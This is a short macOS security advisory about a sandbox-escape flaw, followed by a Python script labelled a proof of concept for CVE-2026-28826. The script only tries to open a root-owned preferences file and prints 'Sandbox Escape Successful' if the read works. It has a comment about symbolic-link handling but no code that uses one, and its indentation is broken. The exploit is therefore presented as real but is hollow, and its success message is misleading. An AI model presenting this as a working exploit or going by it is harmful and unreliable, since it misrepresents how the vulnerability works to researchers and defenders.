A logic issue was addressed with improved restrictions. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. A malicious app may be able to break out of its sandbox.
The following code is for security research and authorized testing only.
python
# PoC Concept for Sandbox Escape (CVE-2026-28826)
# This is a simulation of logic bypass
import os
def attempt_sandbox_escape():
# Attempt to access a restricted file outside the sandbox
restricted_path = "/private/var/root/SystemConfiguration/preferences.plist"
try:
# Logic flaw: specific symbolic link handling might bypass checks
if os.path.exists(restricted_path):
with open(restricted_path, 'r') as f:
data = f.read()
return "[+] Sandbox Escape Successful: Read restricted data"
else:
return "[-] Target not found"
except PermissionError:
return "[-] Sandbox blocked access"
except Exception as e:
return f"[-] Error: {e}"
if __name__ == "__main__":
print(attempt_sandbox_escape())